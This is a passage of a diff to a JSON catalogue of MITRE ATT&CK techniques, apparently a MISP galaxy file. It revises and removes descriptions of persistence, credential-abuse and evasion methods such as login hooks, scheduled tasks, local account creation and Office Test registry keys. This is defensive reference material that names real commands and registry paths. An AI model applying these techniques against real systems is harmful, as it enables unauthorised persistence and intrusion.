"b0c74ef9-c61e-4986-88cb-78da98a355ec", "value": "Malicious Image - T1204.003" }, - { - "description": "Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.(Citation: Android DevicePolicyManager 2019) \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.", - "meta": { - "external_id": "T1630.002", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1630/002", - "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html" - ] - }, - "related": [ - { - "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "type": "subtechnique-of" - } - ], - "uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", - "value": "File Deletion - T1630.002" - }, - { - "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ", - "meta": { - "external_id": "T1037.002", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Creation", - "File: File Modification", - "Process: Process Creation" - ], - "mitre_platforms": [ - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1037/002", - "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts", - "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html", - "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", - "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" - ] - }, - "related": [ - { - "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", - "type": "subtechnique-of" - } - ], - "uuid": "43ba2b05-cf72-4b6c-8243-03a4aba41ee0", - "value": "Login Hook - T1037.002" - }, - { - "description": "Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. \n\nUtilities used to perform software packing are called packers. An example packer is FTT. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", - "meta": { - "external_id": "T1406.002", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "iOS", - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1406/002" - ] - }, - "related": [ - { - "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", - "type": "subtechnique-of" - } - ], - "uuid": "51636761-2e35-44bf-9e56-e337adf97174", - "value": "Software Packing - T1406.002" - }, { "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ", "meta": { @@ -17860,8 +16070,6 @@ ], "mitre_data_sources": [ "Logon Session: Logon Session Creation", - "Logon Session: Logon Session Metadata", - "User Account: User Account Authentication", "Web Credential: Web Credential Creation", "Web Credential: Web Credential Usage" ], @@ -17980,7 +16188,7 @@ "value": "Domain Groups - T1069.002" }, { - "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", + "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", "meta": { "external_id": "CAPEC-560", "kill_chain": [ @@ -18026,7 +16234,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "Process: OS API Execution", "Process: Process Creation" ], "mitre_platforms": [ @@ -18087,7 +16294,7 @@ "value": "RC Scripts - T1037.004" }, { - "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)", + "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).", "meta": { "external_id": "T1053.005", "kill_chain": [ @@ -18110,8 +16317,7 @@ "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", "https://technet.microsoft.com/en-us/sysinternals/bb963902", "https://technet.microsoft.com/library/dd315590.aspx", - "https://twitter.com/leoloobeek/status/939248813465853953", - "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + "https://twitter.com/leoloobeek/status/939248813465853953" ] }, "related": [ @@ -18198,7 +16404,7 @@ "value": "Systemd Timers - T1053.006" }, { - "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", + "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", "meta": { "external_id": "T1037.005", "kill_chain": [ @@ -18230,7 +16436,7 @@ "value": "Startup Items - T1037.005" }, { - "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", + "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "meta": { "external_id": "T1069.003", "kill_chain": [ @@ -18278,7 +16484,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "Process: Process Creation", "User Account: User Account Metadata" ], "mitre_platforms": [ @@ -18430,7 +16635,7 @@ "value": "Unix Shell - T1059.004" }, { - "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.", + "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.", "meta": { "external_id": "T1078.004", "kill_chain": [ @@ -18532,7 +16737,7 @@ "value": "IP Addresses - T1590.005" }, { - "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )", + "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.", "meta": { "external_id": "T1059.005", "kill_chain": [ @@ -18555,8 +16760,7 @@ "https://docs.microsoft.com/dotnet/visual-basic/", "https://docs.microsoft.com/office/vba/api/overview/", "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)", - "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications", - "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805" + "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications" ] }, "related": [ @@ -18626,43 +16830,6 @@ "uuid": "84ae8255-b4f4-4237-b5c5-e717405a9701", "value": "Link Target - T1608.005" }, - { - "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)", - "meta": { - "external_id": "T1098.005", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Active Directory: Active Directory Object Creation", - "Application Log: Application Log Content", - "User Account: User Account Modification" - ], - "mitre_platforms": [ - "Azure AD", - "Windows", - "SaaS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1098/005", - "https://o365blog.com/post/bprt/", - "https://o365blog.com/post/devices/", - "https://o365blog.com/post/mdm", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a", - "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack", - "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa", - "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" - ] - }, - "related": [ - { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", - "type": "subtechnique-of" - } - ], - "uuid": "7decb26c-715c-40cf-b7e0-026f7d7cc215", - "value": "Device Registration - T1098.005" - }, { "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", "meta": { @@ -18694,30 +16861,6 @@ "uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "value": "Standard Encoding - T1132.001" }, - { - "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4.", - "meta": { - "external_id": "T1521.001", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1521/001" - ] - }, - "related": [ - { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "type": "subtechnique-of" - } - ], - "uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", - "value": "Symmetric Cryptography - T1521.001" - }, { "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "meta": { @@ -18750,7 +16893,7 @@ "value": "Local Account - T1136.001" }, { - "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", + "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", "meta": { "external_id": "T1491.001", "kill_chain": [ @@ -18782,30 +16925,6 @@ "uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", "value": "Internal Defacement - T1491.001" }, - { - "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1521/002).", - "meta": { - "external_id": "T1521.002", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1521/002" - ] - }, - "related": [ - { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "type": "subtechnique-of" - } - ], - "uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", - "value": "Asymmetric Cryptography - T1521.002" - }, { "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)", "meta": { @@ -18902,31 +17021,6 @@ "uuid": "7610cada-1499-41a4-b3dd-46467b68d177", "value": "Domain Account - T1136.002" }, - { - "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken. \n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. \n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. \n\nIf the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files. ", - "meta": { - "external_id": "T1623.001", - "kill_chain": [ - "mitre-mobile-attack:execution" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1623/001", - "https://partner.samsungknox.com/mtd" - ] - }, - "related": [ - { - "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", - "type": "subtechnique-of" - } - ], - "uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "value": "Unix Shell - T1623.001" - }, { "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", "meta": { @@ -18999,55 +17093,7 @@ "value": "System Firmware - T1542.001" }, { - "description": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAn intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received. \n\nIn addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications. \n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts) ", - "meta": { - "external_id": "T1624.001", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1624/001", - "https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts" - ] - }, - "related": [ - { - "dest-uuid": "d446b9f0-06a9-4a8d-97ee-298cfee84f14", - "type": "subtechnique-of" - } - ], - "uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "value": "Broadcast Receivers - T1624.001" - }, - { - "description": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", - "meta": { - "external_id": "T1481.002", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1481/002" - ] - }, - "related": [ - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", - "type": "subtechnique-of" - } - ], - "uuid": "939808a7-121d-467a-b028-4441ee8b7cee", - "value": "Bidirectional Communication - T1481.002" - }, - { - "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)", + "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in 